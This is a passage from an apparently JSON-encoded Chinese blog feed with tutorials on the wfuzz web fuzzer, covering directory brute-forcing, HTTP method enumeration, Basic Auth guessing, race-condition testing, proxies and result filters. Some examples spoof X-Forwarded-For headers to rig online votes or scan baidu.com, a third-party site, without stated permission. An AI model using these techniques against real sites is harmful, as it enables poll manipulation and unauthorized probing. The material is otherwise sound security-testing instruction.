\u53d1\u73b0\u4e00\u4e2a\u5237\u7968\u7684\u6f0f\u6d1e\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u9700\u8981\u4f2a\u9020XFF\u5934\uff08IP\uff09\u53ef\u8fbe\u5230\u5237\u7968\u7684\u6548\u679c\uff0c\u6295\u7968\u7684\u8bf7\u6c42\u4e3aGET\u7c7b\u578b\uff0c\u5730\u5740\u4e3a\uff1ahttp:\/\/127.0.0.1\/get.php?userid=666\u3002<\/p>\n\n<p>\u90a3\u4e48\u73b0\u5728\u6211\u60f3\u7ed9userid\u4e3a666\u7684\u670b\u53cb\u5237\u7968\uff0c\u53ef\u4ee5\u4f7f\u7528wfuzz\u5b8c\u6210\u8fd9\u7c7b\u64cd\u4f5c\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,0000-9999 -H \"X-Forwarded-For: FUZZ\" http:\/\/127.0.0.1\/get.php?userid=666\n<\/code><\/pre>\n\n<p><code>-H<\/code>\u6307\u5b9aHTTP\u5934\uff0c\u591a\u4e2a\u9700\u8981\u6307\u5b9a\u591a\u6b21\uff08\u540cCookie\u7684-b\u53c2\u6570\uff09\u3002<\/p>\n\n<h2 id=\"\u6d4b\u8bd5http\u8bf7\u6c42\u65b9\u6cd5method\">\u6d4b\u8bd5HTTP\u8bf7\u6c42\u65b9\u6cd5\uff08Method\uff09<\/h2>\n\n<p>e.g. \u60f3\u6d4b\u8bd5\u4e00\u4e2a\u7f51\u7ad9(http:\/\/127.0.0.1\/)\u652f\u6301\u54ea\u4e9bHTTP\u8bf7\u6c42\u65b9\u6cd5<\/p>\n\n<p>\u4f7f\u7528wfuzz\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z list,\"GET-POST-HEAD-PUT\" -X FUZZ http:\/\/127.0.0.1\/\n<\/code><\/pre>\n\n<p>\u8fd9\u6761\u547d\u4e86\u4e2d\u591a\u4e86 <code>-z list<\/code> \u548c <code>-X<\/code> \u53c2\u6570\uff0c<code>-z list<\/code>\u53ef\u4ee5\u81ea\u5b9a\u4e49\u4e00\u4e2a\u5b57\u5178\u5217\u8868\uff08\u5728\u547d\u4ee4\u4e2d\u4f53\u73b0\uff09\uff0c\u4ee5<code>-<\/code>\u5206\u5272\uff1b<code>-X<\/code>\u53c2\u6570\u662f\u6307\u5b9aHTTP\u8bf7\u6c42\u65b9\u6cd5\u7c7b\u578b\uff0c\u56e0\u4e3a\u8fd9\u91cc\u8981\u6d4b\u8bd5HTTP\u8bf7\u6c42\u65b9\u6cd5\uff0c\u540e\u9762\u7684\u503c\u4e3a<code>FUZZ\u5360\u4f4d\u7b26<\/code>\u3002<\/p>\n\n<h2 id=\"\u4f7f\u7528\u4ee3\u7406\">\u4f7f\u7528\u4ee3\u7406<\/h2>\n\n<p>\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u60f3\u4f7f\u7528\u4ee3\u7406\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist -p proxtHost:proxyPort:TYPE URL\/FUZZ\n<\/code><\/pre>\n\n<p><code>-p<\/code>\u53c2\u6570\u6307\u5b9a<strong>\u4e3b\u673a:\u7aef\u53e3:\u4ee3\u7406\u7c7b\u578b<\/strong>\uff0c\u4f8b\u5982\u6211\u60f3\u4f7f\u7528ssr\u7684\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL\/FUZZ\n<\/code><\/pre>\n\n<p>\u591a\u4e2a\u4ee3\u7406\u53ef\u4f7f\u7528\u591a\u4e2a<code>-p<\/code>\u53c2\u6570\u540c\u65f6\u6307\u5b9a\uff0cwfuzz\u6bcf\u6b21\u8bf7\u6c42\u90fd\u4f1a\u9009\u53d6\u4e0d\u540c\u7684\u4ee3\u7406\u8fdb\u884c\u3002<\/p>\n\n<h2 id=\"\u8ba4\u8bc1\">\u8ba4\u8bc1<\/h2>\n\n<p>\u60f3\u8981\u6d4b\u8bd5\u4e00\u4e2a\u9700\u8981HTTP Basic Auth\u4fdd\u62a4\u7684\u5185\u5bb9\u53ef\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z list,\"username-password\" --basic FUZZ:FUZZ URL\n<\/code><\/pre>\n\n<p>wfuzz\u53ef\u4ee5\u901a\u8fc7<code>--basec --ntml --digest<\/code>\u6765\u8bbe\u7f6e\u8ba4\u8bc1\u5934\uff0c\u4f7f\u7528\u65b9\u6cd5\u90fd\u4e00\u6837\uff1a<\/p>\n\n<p><code>--basec\/ntml\/digest username:password<\/code><\/p>\n\n<h2 id=\"\u9012\u5f52\u6d4b\u8bd5\">\u9012\u5f52\u6d4b\u8bd5<\/h2>\n\n<p>\u4f7f\u7528<code>-R<\/code>\u53c2\u6570\u53ef\u4ee5\u6307\u5b9a\u4e00\u4e2apayload\u88ab\u9012\u5f52\u7684\u6df1\u5ea6(\u6570\u5b57)\u3002\u4f8b\u5982\uff1a\u7206\u7834\u76ee\u5f55\u65f6\uff0c\u6211\u4eec\u60f3\u4f7f\u7528\u76f8\u540c\u7684payload\u5bf9\u5df2\u53d1\u73b0\u7684\u76ee\u5f55\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z list,\"admin-login.php-test-dorabox\" -R 1 http:\/\/127.0.0.1\/FUZZ\n<\/code><\/pre>\n\n<p>\u5982\u4e0a\u547d\u4ee4\u5c31\u662f\u4f7f\u7528\u4e86\u81ea\u5b9a\u4e49\u5b57\u5178\u5217\u8868\uff1a<\/p>\n\n<pre><code class=\"language-dict\">admin\nlogin.php\ntest\ndorabox\t\n<\/code><\/pre>\n\n<p>\u9012\u5f52\u6df1\u5ea6\u4e3a1\u4e5f\u5c31\u662f\u8bf4\u5f53\u53d1\u73b0\u67d0\u4e00\u4e2a\u76ee\u5f55\u5b58\u5728\u7684\u65f6\u5019\uff0c\u5728\u5b58\u5728\u76ee\u5f55\u4e0b\u518d\u9012\u5f52\u4e00\u6b21\u5b57\u5178\u3002<\/p>\n\n<h2 id=\"\u5e76\u53d1\u548c\u95f4\u9694\">\u5e76\u53d1\u548c\u95f4\u9694<\/h2>\n\n<p>wfuzz\u63d0\u4f9b\u4e86\u4e00\u4e9b\u53c2\u6570\u53ef\u4ee5\u7528\u6765\u8c03\u8282HTTP\u8bf7\u6c42\u7684\u7ebf\u7a0b<\/p>\n\n<p>e.g. \u4f60\u60f3\u6d4b\u8bd5\u4e00\u4e2a\u7f51\u7ad9\u7684\u8f6c\u8d26\u8bf7\u6c42\u662f\u5426\u5b58\u5728HTTP\u5e76\u53d1\u6f0f\u6d1e\uff08\u6761\u4ef6\u7ade\u4e89\uff09<\/p>\n\n<p>\u8bf7\u6c42\u5730\u5740\uff1ahttp:\/\/127.0.0.1\/dorabox\/race_condition\/pay.php<\/p>\n\n<p>POST\u8bf7\u6c42\u6b63\u6587\uff1amoney=1<\/p>\n\n<p>\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,0-20 -t 20 -d \"money=1\" http:\/\/127.0.0.1\/dorabox\/race_condition\/pay.php?FUZZ\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-10-28\/0x03.png\" alt=\"0x03\" \/><\/p>\n\n<p>\u6d4b\u8bd5\u5e76\u53d1\u8981\u63a7\u5236\u8bf7\u6c42\u6b21\u6570\uff0c\u5728\u8fd9\u91cc\u4e3a\u4f7f\u7528<code>range<\/code>\u6a21\u5757\u751f\u62100-20\uff0c<strong>\u7136\u540e\u5c06FUZZ\u5360\u4f4d\u7b26\u653e\u5728URL\u7684\u53c2\u6570\u540e\u4e0d\u5f71\u54cd\u6d4b\u8bd5\u5373\u53ef<\/strong>\uff0c\u4e3b\u8981\u662f\u7528<code>-t<\/code>\u53c2\u6570\u8bbe\u7f6e\u5e76\u53d1\u8bf7\u6c42\uff0c\u8be5\u53c2\u6570\u9ed8\u8ba4\u8bbe\u7f6e\u90fd\u662f10\u3002<\/p>\n\n<p>\u53e6\u5916\u4f7f\u7528<code>-s<\/code>\u53c2\u6570\u53ef\u4ee5\u8c03\u8282\u6bcf\u6b21\u53d1\u9001HTTP\u7684\u65f6\u95f4\u95f4\u9694\u3002<\/p>\n\n<h2 id=\"\u4fdd\u5b58\u6d4b\u8bd5\u7ed3\u679c\">\u4fdd\u5b58\u6d4b\u8bd5\u7ed3\u679c<\/h2>\n\n<p>wfuzz\u901a\u8fc7<code>printers<\/code>\u6a21\u5757\u6765\u5c06\u7ed3\u679c\u4ee5\u4e0d\u540c\u683c\u5f0f\u4fdd\u5b58\u5230\u6587\u6863\u4e2d\uff0c\u4e00\u5171\u6709\u5982\u4e0b\u51e0\u79cd\u683c\u5f0f\uff1a<\/p>\n\n<pre><code class=\"language-shell\">raw       | `Raw` output format\njson      | Results in `json` format\ncsv       | `CSV` printer ftw\nmagictree | Prints results in `magictree` format\nhtml      | Prints results in `html` format\n<\/code><\/pre>\n\n<p>\u5c06\u7ed3\u679c\u4ee5<code>json<\/code>\u683c\u5f0f\u8f93\u51fa\u5230\u6587\u4ef6\u7684\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">$ wfuzz -f outfile,json -w wordlist URL\/FUZZ\n<\/code><\/pre>\n\n<p>\u4f7f\u7528<code>-f<\/code>\u53c2\u6570\uff0c\u6307\u5b9a\u503c\u7684\u683c\u5f0f\u4e3a<code>\u8f93\u51fa\u6587\u4ef6\u4f4d\u7f6e,\u8f93\u51fa\u683c\u5f0f<\/code>\u3002<\/p>\n","pubDate":"2018-10-28T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-10-28\/2","guid":"https:\/\/gh0st.cn\/archives\/2018-10-28\/2"},{"title":"Wfuzz\u521d\u4e0a\u624b","description":"<h1 id=\"wfuzz\u521d\u4e0a\u624b\">Wfuzz\u521d\u4e0a\u624b<\/h1>\n\n<p>Author: Vulkey_Chen<\/p>\n\n<p>Blog: gh0st.cn<\/p>\n\n<h2 id=\"wfuzz\u662f\u5565\u73a9\u610f\">Wfuzz\u662f\u5565\u73a9\u610f\uff1f<\/h2>\n\n<p>wfuzz \u662f\u4e00\u6b3ePython\u5f00\u53d1\u7684Web\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u5de5\u5177\u3002https:\/\/github.com\/xmendez\/wfuzz<\/p>\n\n<p>\u7b80\u5355\u7c97\u66b4\u7684\u529f\u80fd\u7279\u70b9\u8bb0\u5f55\uff1a<\/p>\n\n<ol>\n  <li>\u6a21\u5757\u5316 \u6846\u67b6 \u53ef\u7f16\u5199\u63d2\u4ef6<\/li>\n  <li>\u63a5\u53e3 \u53ef\u5904\u7406BurpSuite\u6240\u6293\u7684\u8bf7\u6c42\u548c\u54cd\u5e94\u62a5\u6587<\/li>\n<\/ol>\n\n<p>\u7b80\u800c\u8a00\u4e4b\u5c31\u662fwfuzz\u53ef\u4ee5\u7528\u5728\u505a<strong>\u8bf7\u6c42\u53c2\u6570\u53c2\u6570\u7c7b\u7684\u6a21\u7cca\u6d4b\u8bd5<\/strong>\uff0c\u4e5f\u53ef\u4ee5\u7528\u6765\u505a<strong>Web\u76ee\u5f55\u626b\u63cf<\/strong>\u7b49\u64cd\u4f5c\u3002<\/p>\n\n<h2 id=\"wfuzz\u521d\u4f53\u9a8c\">Wfuzz\u521d\u4f53\u9a8c<\/h2>\n\n<ul>\n  <li>\u5b89\u88c5Wfuzz <code>pip install wfuzz<\/code><\/li>\n<\/ul>\n\n<h3 id=\"\u7b80\u5355\u7684\u4f7f\u7528\">\u7b80\u5355\u7684\u4f7f\u7528<\/h3>\n\n<pre><code class=\"language-shell\">wfuzz -w \u5b57\u5178 \u5730\u5740(e.g. https:\/\/gh0st.cn\/FUZZ)\n<\/code><\/pre>\n\n<p>\u5982\u4e0a\u547d\u4ee4\u4f7f\u7528-w\u53c2\u6570\u6307\u5b9a\u5b57\u5178\u4f4d\u7f6e\uff0c\u7136\u540e\u8ddf\u4e0a\u4e00\u4e2a\u8981\u6d4b\u8bd5\u7684\u5730\u5740\uff0c\u6240\u5217\u7684\u4f8b\u5b50<code>https:\/\/gh0st.cn\/FUZZ<\/code>\u4e2d\u6709\u4e00\u4e2a<strong>FUZZ<\/strong>\u5355\u8bcd\uff0c\u8fd9\u4e2a\u5355\u8bcd\u53ef\u4ee5\u7406\u89e3\u662f\u4e00\u4e2a\u5360\u4f4d\u7b26\uff0c\u8fd9\u6837\u5c31\u5927\u6982\u4e86\u89e3\u4e86wfuzz\u7684\u57fa\u672c\u8fd0\u884c\u539f\u7406\uff0c\u5b83\u4f1a\u8bfb\u53d6\u5b57\u5178\u7136\u540e\u4f20\u5165\u5360\u4f4d\u7b26\u8fdb\u884c\u6a21\u7cca\u6d4b\u8bd5\u8bf7\u6c42\u3002<\/p>\n\n<p>\u5b9e\u9645\u7684\u4f7f\u7528\u4e00\u904d\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w test_dict.txt https:\/\/gh0st.cn\/FUZZ\n<\/code><\/pre>\n\n<p>\u8fd4\u56de\u7ed3\u679c\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">********************************************************\n* Wfuzz 2.2.11 - The Web Fuzzer                        *\n********************************************************\n\nTarget: https:\/\/gh0st.cn\/FUZZ\nTotal requests: 6\n\n==================================================================\nID\tResponse   Lines      Word         Chars          Payload\n==================================================================\n\n000004:  C=404      1 L\t     121 W\t   1636 Ch\t  \"test123\"\n000003:  C=404      1 L\t     121 W\t   1636 Ch\t  \"456\"\n000006:  C=404      1 L\t     121 W\t   1636 Ch\t  \"admin123\"\n000005:  C=404      1 L\t     121 W\t   1636 Ch\t  \"admin\"\n000001:  C=404      1 L\t     121 W\t   1636 Ch\t  \"abc\"\n000002:  C=404      1 L\t     121 W\t   1636 Ch\t  \"123\"\n\nTotal time: 2.122055\nProcessed Requests: 6\nFiltered Requests: 0\nRequests\/sec.: 2.827447\n<\/code><\/pre>\n\n<p>\u901a\u8fc7\u8fd4\u56de\u7ed3\u679c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u5f88\u591a\u4fe1\u606f\uff0c\u6700\u9700\u8981\u5173\u6ce8\u7684\u5c31\u662f<code>ID\u3001Response\u3001 Lines\u3001Word\u3001Chars\u3001Payload<\/code>\u8fd9\u4e00\u884c\uff0c\u4ece\u5de6\u5f80\u53f3\u770b\uff0c\u4f9d\u6b21\u662f<strong>\u7f16\u53f7\u3001\u54cd\u5e94\u72b6\u6001\u7801\u3001\u54cd\u5e94\u62a5\u6587\u884c\u6570\u3001\u54cd\u5e94\u62a5\u6587\u5b57\u6570\u3001\u54cd\u5e94\u62a5\u6587\u6b63\u5b57\u7b26\u6570\u3001\u6d4b\u8bd5\u4f7f\u7528\u7684Payload<\/strong>\u3002<\/p>\n\n<h3 id=\"\u4e86\u89e3wfuzz\">\u4e86\u89e3Wfuzz<\/h3>\n\n<p>\u901a\u8fc7<code>-h<\/code>\u6216\u8005<code>--help<\/code>\u53ef\u4ee5\u6765\u83b7\u53d6\u5e2e\u52a9\u4fe1\u606f\u3002<\/p>\n\n<h4 id=\"wfuzz\u6a21\u5757\">Wfuzz\u6a21\u5757<\/h4>\n\n<p>\u5982\u4e0a\u6240\u8ff0\u8bf4\u5230wfuzz\u662f\u6a21\u5757\u5316\u7684\u6846\u67b6\uff0cwfuzz\u9ed8\u8ba4\u81ea\u5e26\u5f88\u591a\u6a21\u5757\uff0c\u6a21\u5757\u5206\u4e3a5\u79cd\u7c7b\u578b\u5206\u522b\u662f\uff1a<code>payloads<\/code>\u3001<code>encoders<\/code>\u3001<code>iterators<\/code>\u3001<code>printers<\/code>\u548c<code>scripts<\/code>\u3002<\/p>\n\n<p>\u901a\u8fc7<code>-e<\/code>\u53c2\u6570\u53ef\u4ee5\u67e5\u770b\u6307\u5b9a\u6a21\u5757\u7c7b\u578b\u4e2d\u7684\u6a21\u5757\u5217\u8868\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -e payloads\n<\/code><\/pre>\n\n<p><code>payloads<\/code>\u7c7b\u7684\u6a21\u5757\u5217\u8868\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Available payloads:\n\n  Name            | Summary\n------------------------------------------------------------------------------------------------------\n  guitab          | This payload reads requests from a tab in the GUI\n  dirwalk         | Returns filename's recursively from a local directory.\n  file            | Returns each word from a file.\n  burpstate       | Returns fuzz results from a Burp state.\n  wfuzzp          | Returns fuzz results' URL from a previous stored wfuzz session.\n  ipnet           | Returns list of IP addresses of a network.\n  bing            | Returns URL results of a given bing API search (needs api key).\n  stdin           | Returns each item read from stdin.\n  list            | Returns each element of the given word list separated by -.\n  hexrand         | Returns random hex numbers from the given range.\n  range           | Returns each number of the given range.\n  names           | Returns possible usernames by mixing the given words, separated by -, using know\n                  | n typical constructions.\n  hexrange        | Returns each hex number of the given hex range.\n  permutation     | Returns permutations of the given charset and length.\n  buffer_overflow | Returns a string using the following pattern A * given number.\n  iprange         | Returns list of IP addresses of a given IP range.\n  burplog         | Returns fuzz results from a Burp log.\n  autorize        | Returns fuzz results' from autororize.\n<\/code><\/pre>\n\n<h3 id=\"wfuzz\u4f7f\u7528\">Wfuzz\u4f7f\u7528<\/h3>\n\n<p>\u4ece\u4e0a\u6587\u77e5\u9053\u4e86wfuzz\u57fa\u4e8e\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u6982\u5ff5\uff1a\u4f7f\u7528payload\u6765\u66ff\u6362\u76f8\u5e94\u7684FUZZ\u5173\u952e\u8bcd\u7684\u4f4d\u7f6e\uff0cFUZZ\u8fd9\u6837\u7684\u5173\u952e\u8bcd\u5c31\u662f<code>\u5360\u4f4d\u7b26<\/code>\uff0cpayload\u5c31\u662f\u8f93\u5165\u6e90\u3002<\/p>\n\n<p>\u901a\u8fc7<code>wfuzz -e payloads<\/code>\u53ef\u4ee5\u83b7\u53d6payloads\u7c7b\u7684\u6240\u6709\u6a21\u5757\u5217\u8868\uff0c\u4f7f\u7528<code>wfuzz -z help<\/code>\u53ef\u4ee5\u83b7\u53d6\u5173\u4e8epayloads\u7c7b\u6a21\u5757\u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7<code>--slice<\/code>\u53c2\u6570\u6765\u8fc7\u6ee4\u8fd4\u56de\u4fe1\u606f\u7684\u7ed3\u679c\u3002<\/p>\n\n<p>e.g. <code>wfuzz -z help --slice \"names\"<\/code><\/p>\n\n<pre><code class=\"language-shell\">Name: names 0.1\nCategories: default\nSummary: Returns possible usernames by mixing the given words, separated by -, using known typical constructions.\nAuthor: Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez)\nDescription:\n   ie. jon-smith\nParameters:\n   + name: Name and surname in the form of name-surname.\n<\/code><\/pre>\n\n<h4 id=\"\u4f7f\u7528\u5b57\u5178\">\u4f7f\u7528\uff08\u5b57\u5178\uff09<\/h4>\n\n<p>\u6ce8\uff1a\u547d\u4ee4\u4e2d\u7684wordlist\u8868\u793a\u4e3a\u5b57\u5178\u4f4d\u7f6e<\/p>\n\n<ol>\n  <li>\n    <p><code>wfuzz -z file --zP fn=wordlist URL\/FUZZ<\/code><\/p>\n  <\/li>\n  <li>\n    <p><code>wfuzz -z file,wordlist URL\/FUZZ<\/code><\/p>\n  <\/li>\n  <li>\n    <p><code>wfuzz -w wordlist URL\/FUZZ<\/code><\/p>\n  <\/li>\n<\/ol>\n\n<p>\u8fd9\u91cc\u6709\u5fc5\u8981\u8bf4\u660e\u4e0b\uff0c\u4f7f\u7528\u547d\u4ee4\u610f\u4e49\u662f\u4e00\u6837\u7684\uff0c\u90fd\u662f\u4f7f\u7528<code>payloads<\/code>\u6a21\u5757\u7c7b\u4e2d\u7684<code>file<\/code>\u6a21\u5757\uff0c\u901a\u8fc7<code>wfuzz -z help --slice \"file\"<\/code>\u770b\u5982\u4f55\u4f7f\u7528<code>file<\/code>\u6a21\u5757\uff1a<\/p>\n\n<pre><code class=\"language-shell\">Name: file 0.1\nCategories: default\nSummary: Returns each word from a file.\nAuthor: Carlos del Ojo,Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez)\nDescription:\n   Returns the contents of a dictionary file line by line.\nParameters:\n   + fn: Filename of a valid dictionary\n<\/code><\/pre>\n\n<p>\u901a\u8fc7\u8fd4\u56de\u7684\u5e2e\u52a9\u4fe1\u606f\uff0c\u6211\u4eec\u77e5\u9053\u8fd9\u4e2a\u6a21\u5757\u9700\u8981\u4e00\u4e2a<strong>\u53c2\u6570fn<\/strong>\uff0c\u8fd9\u4e2a\u53c2\u6570\u503c\u4e3a\u5b57\u5178\u6587\u4ef6\u540d\uff08\u7edd\u5bf9\u8def\u5f84\uff09\u3002\u8fd9\u6837\u5b50\u7b2c\u4e00\u6761\u547d\u4ee4\u4e00\u4e0b\u5b50\u5c31\u660e\u767d\u4e86\uff0c<code>wfuzz -z file --zP fn=wordlist URL\/FUZZ<\/code>\u4e2d\u7684<code>-z file<\/code>\u4f7f\u7528\u6a21\u5757\uff0c<code>--zP fn=wordlist<\/code>\u662f\u5b9a\u4e49<strong>fn\u53c2\u6570<\/strong>\u7684\u503c\uff08\u53ef\u4ee5\u8fd9\u6837\u7406\u89e3\uff0c\u2013zP \u8fd9\u91cc\u7684P\u5927\u5199\u4ee3\u8868 Parameters \uff0c\u7136\u540e\u5176\u4ed6\u7684\u90fd\u662f\u56fa\u6709\u4e2a\u4e8b\uff09<\/p>\n\n<p>\u7b2c\u4e8c\u6761\u547d\u4ee4\u7b80\u5199\u4e86\u7b2c\u4e00\u6761\u547d\u4ee4\u7684\u8d4b\u503c\uff0c\u7b2c\u4e09\u6761\u547d\u4ee4\u4f7f\u7528<code>-w<\/code>\uff0c\u8fd9\u4e2a\u53c2\u6570\u5c31\u662f<code>-z file --zP fn<\/code>\u7684\u522b\u540d\u3002<\/p>\n\n<p><strong>\u591a\u4e2a\u5b57\u5178<\/strong><\/p>\n\n<p>\u4f7f\u7528<code>-z<\/code> \u6216<code>-w<\/code> \u53c2\u6570\u53ef\u4ee5\u540c\u65f6\u6307\u5b9a\u591a\u4e2a\u5b57\u5178\uff0c\u8fd9\u65f6\u76f8\u5e94\u7684\u5360\u4f4d\u7b26\u5e94\u8bbe\u7f6e\u4e3a <strong>FUZZ,FUZ2Z,FUZ3Z,\u2026.,FUZnZ<\/strong>, \u5176\u4e2d<code>n<\/code>\u4ee3\u8868\u4e86\u5360\u4f4d\u5e8f\u53f7\u3002<\/p>\n\n<p>\u4f8b\u5982\u60f3\u8981\u540c\u65f6\u7206\u7834\u76ee\u5f55\u3001\u6587\u4ef6\u540d\u3001\u540e\u7f00\uff0c\u53ef\u4ee5\u8fd9\u6837\u6765\u73a9\uff1a<\/p>\n\n<p><code>wfuzz -w \u76ee\u5f55\u5b57\u5178\u8def\u5f84 -w \u6587\u4ef6\u540d\u5b57\u5178\u8def\u5f84 -w \u540e\u7f00\u540d\u5b57\u5178\u8def\u5f84 URL\/FUZZ\/FUZ2Z.FUZ3Z<\/code><\/p>\n\n<h4 id=\"\u8fc7\u6ee4\u5668\">\u8fc7\u6ee4\u5668<\/h4>\n\n<p>wfuzz\u5177\u6709\u8fc7\u6ee4\u5668\u529f\u80fd\uff0c\u5728\u505a\u6d4b\u8bd5\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u56e0\u4e3a\u73af\u5883\u7684\u95ee\u9898\u9700\u8981\u8fdb\u884c\u8fc7\u6ee4\uff0c\u4f8b\u5982\u5728\u505a\u76ee\u5f55\u626b\u63cf\u7684\u65f6\u5019\uff0c\u4f60\u4e8b\u5148\u63a2\u6d4b\u5e76\u77e5\u9053\u4e86\u8fd9\u4e2a\u7f51\u7ad9\u8bbf\u95ee\u4e0d\u5b58\u5728\u76ee\u5f55\u7684\u65f6\u5019\u4f7f\u7528\u7684\u662f\u81ea\u5b9a\u4e49404\u9875\u9762\uff08\u4e5f\u5c31\u662f\u72b6\u6001\u7801\u4e3a200\uff09\uff0c\u800c\u4f60\u53ef\u4ee5\u9009\u62e9\u63d0\u53d6\u8be5\u81ea\u5b9a\u4e49\u9875\u9762\u7684\u7279\u5f81\u6765\u8fc7\u6ee4\u8fd9\u4e9b\u8fd4\u56de\u7ed3\u679c\u3002<\/p>\n\n<p>wfuzz\u8fc7\u6ee4\u5206\u4e3a\u4e24\u79cd\u65b9\u6cd5\uff1a<strong>\u9690\u85cf\u7b26\u5408\u8fc7\u6ee4\u6761\u4ef6\u7684\u7ed3\u679c<\/strong> \u548c <strong>\u663e\u793a\u7b26\u5408\u8fc7\u6ee4\u6761\u4ef6\u7684\u7ed3\u679c<\/strong><\/p>\n\n<p><strong>\u9690\u85cf\u54cd\u5e94\u7ed3\u679c<\/strong><\/p>\n\n<p>\u901a\u8fc7<code>--hc<\/code>\uff0c<code>--hl<\/code>\uff0c<code>--hw<\/code>\uff0c<code>--hh<\/code>\u53c2\u6570\u53ef\u4ee5\u9690\u85cf\u67d0\u4e9bHTTP\u54cd\u5e94\u3002<\/p>\n\n<ul>\n  <li><code>--hc<\/code> \u6839\u636e\u54cd\u5e94\u62a5\u6587\u72b6\u6001\u7801\u8fdb\u884c\u9690\u85cf\uff08hide code\uff09<\/li>\n<\/ul>\n\n<p>\u9690\u85cf404\uff1a<\/p>\n\n<p><code>wfuzz -w wordlist --hc 404 URL\/FUZZ<\/code><\/p>\n\n<p>\u9690\u85cf404\u3001403\uff1a<\/p>\n\n<p><code>wfuzz -w wordlist --hc 404,403 URL\/FUZZ<\/code><\/p>\n\n<p>e.g. \u4f7f\u7528\u767e\u5ea6\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u8fd0\u884c<code>wfuzz -w test_dict.txt https:\/\/www.baidu.com\/FUZZ<\/code>\u7ed3\u679c\u5982\u4e0b<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x00.png\" alt=\"0x00\" \/><\/p>\n\n<p>\u8fd9\u91cc\u6240\u6709\u7684\u6d4b\u8bd5\u8bf7\u6c42\uff0c\u90fd\u662f\u4e0d\u5b58\u5728\u7684\u9875\u9762\uff0c\u90a3\u4e48\u767e\u5ea6\u7684404\u9875\u9762\u89c4\u5219\u5c31\u662f\u5982\u4e0a\u56fe\u7ed3\u679c\u6240\u793a\uff1a<strong>\u54cd\u5e94\u62a5\u6587\u72b6\u6001\u7801\uff08302\uff09\u3001\u54cd\u5e94\u62a5\u6587\u884c\u6570\uff087\uff09\u3001\u54cd\u5e94\u62a5\u6587\u5b57\u6570\uff0818\uff09\u3001\u54cd\u5e94\u62a5\u6587\u5b57\u7b26\u6570\uff08222\uff09<\/strong>\uff0c\u90a3\u4e48\u4e0b\u9762\u7684\u5c31\u662f\u586b\u7a7a\u9898\u4e86\uff5e<\/p>\n\n<ul>\n  <li><code>--hl<\/code>\u6839\u636e\u54cd\u5e94\u62a5\u6587\u884c\u6570\u8fdb\u884c\u9690\u85cf\uff08hide lines\uff09<\/li>\n<\/ul>\n\n<p><code>wfuzz -w wordlist --hl 7 https:\/\/www.baidu.com\/FUZZ<\/code><\/p>\n\n<ul>\n  <li><code>--hw<\/code>\u6839\u636e\u54cd\u5e94\u62a5\u6587\u5b57\u6570\u8fdb\u884c\u9690\u85cf\uff08hide word\uff09<\/li>\n<\/ul>\n\n<p><code>wfuzz -w wordlist --hw 18 https:\/\/www.baidu.com\/FUZZ<\/code><\/p>\n\n<ul>\n  <li><code>--hh<\/code>\u6839\u636e\u54cd\u5e94\u62a5\u6587\u5b57\u7b26\u6570\u8fdb\u884c\u9690\u85cf\uff08hide chars \u8fd9\u91cc\u56e0\u4e3acode\u548cchars\u9996\u5b57\u6bcd\u90fd\u662fc\uff0c\u2013hc\u53c2\u6570\u5df2\u7ecf\u6709\u4e86\uff0c\u6240\u4ee5hide chars\u7684\u53c2\u6570\u5c31\u53d8\u6210\u4e86\u2013hh\uff09<\/li>\n<\/ul>\n\n<p><code>wfuzz -w wordlist --hh 222 https:\/\/www.baidu.com\/FUZZ<\/code><\/p>\n\n<p>\u5982\u679c\u6839\u636e\u5355\u4e2a\u6761\u4ef6\u5224\u65ad\u76f8\u5bf9\u6765\u8bf4\u80af\u5b9a\u662f\u4e0d\u7cbe\u786e\u7684\uff0c\u6240\u4ee5\u6574\u5408\u4e00\u4e0b\u5c31\u662f\u8fd9\u6837\u7684\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist --hc 302 --hl 7 --hw 18 --hh 222 https:\/\/www.baidu.com\/FUZZ\n<\/code><\/pre>\n\n<p>\u8fd9\u6837\u5c31\u53ef\u4ee5\u5bf9<code>https:\/\/www.baidu.com\/<\/code>\u8fdb\u884c\u76ee\u5f55\u626b\u63cf\u54af\uff5e<\/p>\n\n<p><strong>\u663e\u793a\u54cd\u5e94\u7ed3\u679c<\/strong><\/p>\n\n<p>\u663e\u793a\u54cd\u5e94\u7ed3\u679c\u7684\u4f7f\u7528\u65b9\u6cd5\u8ddf\u9690\u85cf\u65f6\u7684\u539f\u7406\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7\u53c2\u6570\u53d8\u4e3a\u4e86\uff1a<code>--sc<\/code>\uff08show 